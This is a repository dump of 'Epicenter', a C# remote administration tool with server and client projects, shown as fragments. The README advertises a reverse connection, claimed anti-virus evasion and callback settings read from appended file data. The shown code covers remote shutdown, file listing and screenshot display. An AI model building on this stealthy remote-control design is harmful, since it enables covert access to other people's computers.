├── Epicenter SERVER
├── Epicenter SERVER
│ ├── bin
│ │ └── Debug
│ │ │ ├── file
│ │ │ ├── Epicenter SERVER.exe.config
│ │ │ ├── Epicenter SERVER.vshost.exe.config
│ │ │ ├── Epicenter SERVER.exe
│ │ │ ├── Epicenter SERVER.pdb
│ │ │ ├── Epicenter SERVER.vshost.exe
│ │ │ └── Epicenter SERVER.vshost.exe.manifest
│ ├── rss.ico
│ ├── app.config
│ ├── Resources
│ │ └── client.exe
│ ├── obj
│ │ └── x86
│ │ │ └── Debug
│ │ │ ├── Epicenter SERVER.exe
│ │ │ ├── Epicenter SERVER.pdb
│ │ │ ├── ResGen.read.1.tlog
│ │ │ ├── ResGen.write.1.tlog
│ │ │ ├── Epicenter_SERVER.Form1.resources
│ │ │ ├── TempPE
│ │ │ ├── Resource.Designer.cs.dll
│ │ │ └── Properties.Resources.Designer.cs.dll
│ │ │ ├── Epicenter_SERVER.Resource.resources
│ │ │ ├── Epicenter_SERVER.CreateClient.resources
│ │ │ ├── Epicenter_SERVER.DisplayScreen.resources
│ │ │ ├── Epicenter_SERVER.administrate.resources
│ │ │ ├── DesignTimeResolveAssemblyReferences.cache
│ │ │ ├── Epicenter_SERVER.FileUploadDisplay.resources
│ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ │ │ ├── Epicenter_SERVER.Properties.Resources.resources
│ │ │ └── Epicenter SERVER.csproj.FileListAbsolute.txt
│ ├── Properties
│ │ ├── Settings.settings
│ │ ├── Settings.Designer.cs
│ │ ├── AssemblyInfo.cs
│ │ ├── Resources.Designer.cs
│ │ └── Resources.resx
│ ├── FilelistRecv.cs
│ ├── Program.cs
│ ├── commonData.cs
│ ├── DisplayScreen.cs
│ ├── FileUploadDisplay.cs
│ ├── Resource.Designer.cs
│ ├── DisplayScreen.Designer.cs
│ ├── CreateClient.cs
│ ├── Epicenter SERVER.csproj
│ ├── Resource.resx
│ ├── FileUploadDisplay.Designer.cs
│ ├── FileServer.cs
│ ├── Form1.Designer.cs
│ ├── Form1.cs
│ ├── CreateClient.Designer.cs
│ └── administrate.cs
├── logo.png
├── rss.ico
├── header.png
├── prihead.png
├── sechead.png
├── Epicenter SERVER.suo
└── Epicenter SERVER.sln
├── Epicenter Client
├── Epicenter Client.suo
├── Epicenter Client
│ ├── app.config
│ ├── bin
│ │ └── Debug
│ │ │ ├── Epicenter Client.exe.config
│ │ │ ├── Epicenter Client.vshost.exe.config
│ │ │ ├── Epicenter Client.exe
│ │ │ ├── Epicenter Client.pdb
│ │ │ ├── Epicenter Client.vshost.exe
│ │ │ └── Epicenter Client.vshost.exe.manifest
│ ├── Resources
│ │ └── file
│ ├── obj
│ │ └── x86
│ │ │ └── Debug
│ │ │ ├── Epicenter Client.exe
│ │ │ ├── Epicenter Client.pdb
│ │ │ ├── ResGen.read.1.tlog
│ │ │ ├── ResGen.write.1.tlog
│ │ │ ├── TempPE
│ │ │ ├── Resources.Designer.cs.dll
│ │ │ └── Properties.Resources.Designer.cs.dll
│ │ │ ├── Epicenter_Client.Resources.resources
│ │ │ ├── DesignTimeResolveAssemblyReferences.cache
│ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ │ │ ├── Epicenter_Client.Properties.Resources.resources
│ │ │ └── Epicenter Client.csproj.FileListAbsolute.txt
│ ├── Properties
│ │ ├── Settings.settings
│ │ ├── Settings.Designer.cs
│ │ ├── AssemblyInfo.cs
│ │ ├── Resources.Designer.cs
│ │ └── Resources.resx
│ ├── NetTools.cs
│ ├── Epicenter Client.csproj.user
│ ├── PowerControl.cs
│ ├── FilelistMechanism.cs
│ ├── RegistryAlteration.cs
│ ├── ScreenshotMechanism.cs
│ ├── Resources.Designer.cs
│ ├── Epicenter Client.csproj
│ ├── FileClient.cs
│ ├── Resources.resx
│ └── Program.cs
└── Epicenter Client.sln
└── README
/Epicenter SERVER/Epicenter SERVER/bin/Debug/file:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Epicenter SERVER/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/logo.png
--------------------------------------------------------------------------------
/Epicenter SERVER/rss.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/rss.ico
--------------------------------------------------------------------------------
/Epicenter SERVER/header.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/header.png
--------------------------------------------------------------------------------
/Epicenter SERVER/prihead.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/prihead.png
--------------------------------------------------------------------------------
/Epicenter SERVER/sechead.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/sechead.png
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client.suo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter Client/Epicenter Client.suo
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER.suo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/Epicenter SERVER.suo
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/rss.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/Epicenter SERVER/rss.ico
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/app.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/app.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/Resources/client.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/Epicenter SERVER/Resources/client.exe
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/bin/Debug/Epicenter Client.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/bin/Debug/Epicenter SERVER.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/Resources/file:
--------------------------------------------------------------------------------
1 | BEASDZXXXMELAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYEPTRUPTASKAMELANAZ
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/bin/Debug/Epicenter Client.vshost.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/bin/Debug/Epicenter SERVER.vshost.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/bin/Debug/Epicenter Client.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter Client/Epicenter Client/bin/Debug/Epicenter Client.exe
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/bin/Debug/Epicenter Client.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter Client/Epicenter Client/bin/Debug/Epicenter Client.pdb
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/bin/Debug/Epicenter SERVER.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/Epicenter SERVER/bin/Debug/Epicenter SERVER.exe
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/bin/Debug/Epicenter SERVER.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/Epicenter SERVER/bin/Debug/Epicenter SERVER.pdb
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/obj/x86/Debug/Epicenter Client.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter Client/Epicenter Client/obj/x86/Debug/Epicenter Client.exe
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/obj/x86/Debug/Epicenter Client.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter Client/Epicenter Client/obj/x86/Debug/Epicenter Client.pdb
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/obj/x86/Debug/ResGen.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter Client/Epicenter Client/obj/x86/Debug/ResGen.read.1.tlog
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/obj/x86/Debug/ResGen.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter Client/Epicenter Client/obj/x86/Debug/ResGen.write.1.tlog
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/Epicenter SERVER.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/Epicenter SERVER.exe
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/Epicenter SERVER.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/Epicenter SERVER.pdb
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/ResGen.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/ResGen.read.1.tlog
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/ResGen.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/ResGen.write.1.tlog
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/bin/Debug/Epicenter Client.vshost.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter Client/Epicenter Client/bin/Debug/Epicenter Client.vshost.exe
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/bin/Debug/Epicenter SERVER.vshost.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/Epicenter SERVER/bin/Debug/Epicenter SERVER.vshost.exe
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/obj/x86/Debug/TempPE/Resources.Designer.cs.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter Client/Epicenter Client/obj/x86/Debug/TempPE/Resources.Designer.cs.dll
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/Epicenter_SERVER.Form1.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/Epicenter_SERVER.Form1.resources
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/TempPE/Resource.Designer.cs.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/TempPE/Resource.Designer.cs.dll
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/Epicenter_SERVER.Resource.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/Epicenter_SERVER.Resource.resources
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/obj/x86/Debug/Epicenter_Client.Resources.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter Client/Epicenter Client/obj/x86/Debug/Epicenter_Client.Resources.resources
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/Epicenter_SERVER.CreateClient.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/Epicenter_SERVER.CreateClient.resources
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/Epicenter_SERVER.DisplayScreen.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/Epicenter_SERVER.DisplayScreen.resources
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/Epicenter_SERVER.administrate.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/Epicenter_SERVER.administrate.resources
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/obj/x86/Debug/DesignTimeResolveAssemblyReferences.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter Client/Epicenter Client/obj/x86/Debug/DesignTimeResolveAssemblyReferences.cache
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/DesignTimeResolveAssemblyReferences.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/DesignTimeResolveAssemblyReferences.cache
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/obj/x86/Debug/TempPE/Properties.Resources.Designer.cs.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter Client/Epicenter Client/obj/x86/Debug/TempPE/Properties.Resources.Designer.cs.dll
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/Epicenter_SERVER.FileUploadDisplay.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/Epicenter_SERVER.FileUploadDisplay.resources
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/TempPE/Properties.Resources.Designer.cs.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/TempPE/Properties.Resources.Designer.cs.dll
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter Client/Epicenter Client/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/obj/x86/Debug/Epicenter_Client.Properties.Resources.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter Client/Epicenter Client/obj/x86/Debug/Epicenter_Client.Properties.Resources.resources
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/Epicenter_SERVER.Properties.Resources.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/canselcik/Epicenter-Remote-Administration-Tool/HEAD/Epicenter SERVER/Epicenter SERVER/obj/x86/Debug/Epicenter_SERVER.Properties.Resources.resources
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/FilelistRecv.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 | using System.IO;
5 |
6 | namespace Epicenter_SERVER
7 | {
8 | class FilelistRecv
9 | {
10 | public static bool isExpecting = false;
11 | public static long expectedLen = 0;
12 | public static byte[] stream = new byte[1];
13 | public static long myIndex = 0;
14 |
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/bin/Debug/Epicenter Client.vshost.exe.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Windows.Forms;
4 |
5 | namespace Epicenter_SERVER
6 | {
7 | static class Program
8 | {
9 | ///
10 | /// The main entry point for the application.
11 | ///
12 | [STAThread]
13 | static void Main()
14 | {
15 | Application.EnableVisualStyles();
16 | Application.SetCompatibleTextRenderingDefault(false);
17 | Application.Run(new Form1());
18 | }
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/bin/Debug/Epicenter SERVER.vshost.exe.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/NetTools.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 | using System.Net;
5 |
6 | namespace Epicenter_Client
7 | {
8 | class NetTools
9 | {
10 | public static string GetCorrespondingIP(string hostname)
11 | {
12 | try
13 | {
14 | IPHostEntry ihe = Dns.GetHostEntry(hostname);
15 | IPAddress ipadd = ihe.AddressList[0];
16 |
17 | return ipadd.ToString();
18 | }
19 | catch
20 | {
21 | return "ERROR";
22 | }
23 | }
24 |
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/Epicenter Client.csproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | publish\
5 |
6 |
7 |
8 |
9 |
10 | en-US
11 | false
12 |
13 |
14 |
15 |
16 |
17 |
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 11.00
3 | # Visual Studio 2010
4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Epicenter Client", "Epicenter Client\Epicenter Client.csproj", "{82883EE1-0789-4CBD-86A9-33829CAC249C}"
5 | EndProject
6 | Global
7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
8 | Debug|x86 = Debug|x86
9 | Release|x86 = Release|x86
10 | EndGlobalSection
11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
12 | {82883EE1-0789-4CBD-86A9-33829CAC249C}.Debug|x86.ActiveCfg = Debug|x86
13 | {82883EE1-0789-4CBD-86A9-33829CAC249C}.Debug|x86.Build.0 = Debug|x86
14 | {82883EE1-0789-4CBD-86A9-33829CAC249C}.Release|x86.ActiveCfg = Release|x86
15 | {82883EE1-0789-4CBD-86A9-33829CAC249C}.Release|x86.Build.0 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(SolutionProperties) = preSolution
18 | HideSolutionNode = FALSE
19 | EndGlobalSection
20 | EndGlobal
21 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 11.00
3 | # Visual Studio 2010
4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Epicenter SERVER", "Epicenter SERVER\Epicenter SERVER.csproj", "{925722F1-48B6-402C-B7A5-D2FAC82E5991}"
5 | EndProject
6 | Global
7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
8 | Debug|x86 = Debug|x86
9 | Release|x86 = Release|x86
10 | EndGlobalSection
11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
12 | {925722F1-48B6-402C-B7A5-D2FAC82E5991}.Debug|x86.ActiveCfg = Debug|x86
13 | {925722F1-48B6-402C-B7A5-D2FAC82E5991}.Debug|x86.Build.0 = Debug|x86
14 | {925722F1-48B6-402C-B7A5-D2FAC82E5991}.Release|x86.ActiveCfg = Release|x86
15 | {925722F1-48B6-402C-B7A5-D2FAC82E5991}.Release|x86.Build.0 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(SolutionProperties) = preSolution
18 | HideSolutionNode = FALSE
19 | EndGlobalSection
20 | EndGlobal
21 |
--------------------------------------------------------------------------------
/README:
--------------------------------------------------------------------------------
1 | I've started working on Epicenter merely to kill some time. However,
2 | after some point, it has become one of the most enjoyable projects that
3 | I've worked on.
4 |
5 | Epicenter is a complete remote administration tool which
6 | supports transferring files and folders, editing registry entries, watching
7 | and controlling the remote display, turning off and rebooting the remote station,
8 | locking and unlocking any form of user input (keyboard etc.) and many more.
9 |
10 | In order for the client to work behind firewalls, Epicenter establishes a
11 | reverse connection and is fully undetected by anti-virus software.
12 | The client doesn't have to be compiled for every target computer since it
13 | uses the end-of-file data to initialize some of it's customizable variables
14 | such as the reverse connection interval and IP.
15 |
16 | I am putting it on GitHub so that people who are interested in concepts
17 | like reverse connection or file transfer can look at the code for reference.
18 | However, since this was a personal project, it may lack some useful commenting.
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/PowerControl.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 | using System.Management;
5 |
6 | namespace Epicenter_Client
7 | {
8 | class PowerControl
9 | {
10 | public static void ExitWindowsEx_MBO(int index)
11 | {
12 | ManagementBaseObject mboShutdown = null;
13 | ManagementClass mcWin32 = new ManagementClass("Win32_OperatingSystem");
14 | mcWin32.Get();
15 | // You can't shutdown without security privileges
16 | mcWin32.Scope.Options.EnablePrivileges = true;
17 | ManagementBaseObject mboShutdownParams = mcWin32.GetMethodParameters("Win32Shutdown");
18 | // Flag 1 means we want to shut down the system
19 | mboShutdownParams["Flags"] = index.ToString();
20 | mboShutdownParams["Reserved"] = "0";
21 | foreach (ManagementObject manObj in mcWin32.GetInstances())
22 | {
23 | mboShutdown = manObj.InvokeMethod("Win32Shutdown", mboShutdownParams, null);
24 | }
25 | }
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/FilelistMechanism.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 | using System.IO;
5 |
6 | namespace Epicenter_Client
7 | {
8 | class FilelistMechanism
9 | {
10 | public static string latestList = String.Empty;
11 | public static void ListContents(string loc)
12 | {
13 | try
14 | {
15 | string toSend = String.Empty;
16 |
17 | // Seeking the files in the directory
18 | System.IO.DirectoryInfo dir = new System.IO.DirectoryInfo(loc);
19 | foreach (System.IO.DirectoryInfo g in dir.GetDirectories())
20 | toSend += g.Name + "<%FSEP%>FOLDER<%FSEP%>" + "-<%SEP%>";
21 |
22 | FileInfo[] rgFiles = dir.GetFiles("*.*");
23 | foreach (FileInfo fi in rgFiles)
24 | toSend += fi.Name + "<%FSEP%>FILE<%FSEP%>" + (fi.Length / 1000).ToString() + "KB<%SEP%>";
25 |
26 | latestList = toSend;
27 | }
28 | catch
29 | {
30 | latestList = "AN ERROR OCCURED<%FSEP%>NONE<%FSEP%>NA";
31 | }
32 | }
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.225
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace Epicenter_Client.Properties {
12 |
13 |
14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
17 |
18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
19 |
20 | public static Settings Default {
21 | get {
22 | return defaultInstance;
23 | }
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.225
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace Epicenter_SERVER.Properties {
12 |
13 |
14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
17 |
18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
19 |
20 | public static Settings Default {
21 | get {
22 | return defaultInstance;
23 | }
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/commonData.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 | using System.Net.Sockets;
5 |
6 | namespace Epicenter_SERVER
7 | {
8 | class commonData
9 | {
10 | public static List ns_collection = new List();
11 | public static Dictionary ip_panel_pair = new Dictionary();
12 |
13 | // Random set of bytes in order to check the validity of the incoming package
14 | // This set can be of any size
15 | public static byte[] scheme = { 21, 36, 47, 71, 99, 61, 71, 71, 99, 255, 254, 253,
16 | 36, 45, 66, 253, 21, 46, 47, 66, 39, 41, 66, 99,
17 | 253, 252, 251, 216, 222, 221, 216, 99, 41, 56, 57, 58, 3};
18 |
19 | // The set of bytes sent when valid data is received from the client
20 | // This byte array is consisting of arbitrary bytes and can be altered if needed - keep in mind that you should
21 | // also change it on the client side
22 | public static byte[] recv_signal = { 20, 26, 91, 36, 71, 64, 63, 99, 251, 253, 69, 31, 31,
23 | 72, 69, 109, 101, 108, 97, 110, 105, 101, 109, 101, 108};
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/DisplayScreen.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Text;
7 | using System.Windows.Forms;
8 | using System.IO;
9 | using System.Threading;
10 |
11 | namespace Epicenter_SERVER
12 | {
13 | public partial class DisplayScreen : Form
14 | {
15 | string location;
16 |
17 | public DisplayScreen(string _location)
18 | {
19 | InitializeComponent();
20 | location = _location;
21 | pbPicture.Image = Image.FromFile(location);
22 | }
23 |
24 | private void btnSave_Click(object sender, EventArgs e)
25 | {
26 | Thread thSave = new Thread(new ThreadStart(Saver));
27 | thSave.SetApartmentState(ApartmentState.STA);
28 | thSave.Start();
29 | }
30 |
31 | private void Saver()
32 | {
33 | SaveFileDialog dia = new SaveFileDialog();
34 |
35 | if (dia.ShowDialog() == DialogResult.OK)
36 | {
37 | File.Copy(location, dia.FileName);
38 | MessageBox.Show("Screenshot saved successfully!", "Saved", MessageBoxButtons.OK, MessageBoxIcon.Information);
39 | }
40 | }
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
